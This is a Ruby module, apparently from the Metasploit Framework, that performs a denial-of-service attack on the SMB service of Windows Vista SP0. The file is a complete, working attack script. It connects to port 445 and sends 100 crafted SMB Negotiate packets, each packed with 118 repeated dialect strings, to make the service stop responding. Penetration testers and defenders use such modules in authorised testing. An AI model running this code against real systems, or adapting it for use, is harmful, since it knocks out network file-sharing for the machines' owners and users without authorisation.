metasploit-framework/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::Tcp
include Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',
'Description' => %q{
This module exploits a flaw in Windows Vista that allows a remote
unauthenticated attacker to disable the SMB service. This vulnerability
was silently fixed in Microsoft Vista Service Pack 1.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '64341'],
]
))
register_options([Opt::RPORT(445)], self.class)
end
def run
print_status("Sending 100 negotiate requests...");
# 100 requests ensure that the bug is reliably hit
1.upto(100) do |i|
begin
connect
# 118 dialects are needed to trigger a non-response
dialects = ['NT LM 0.12'] * 118
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc853
pkt['Payload'].v['Payload'] = data
pkt['Payload']['SMB'].v['ProcessID'] = rand(0x10000)
pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
sock.put(pkt.to_s)
disconnect
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error at iteration #{i}: #{$!.class} #{$!}")
return
end
end
end
end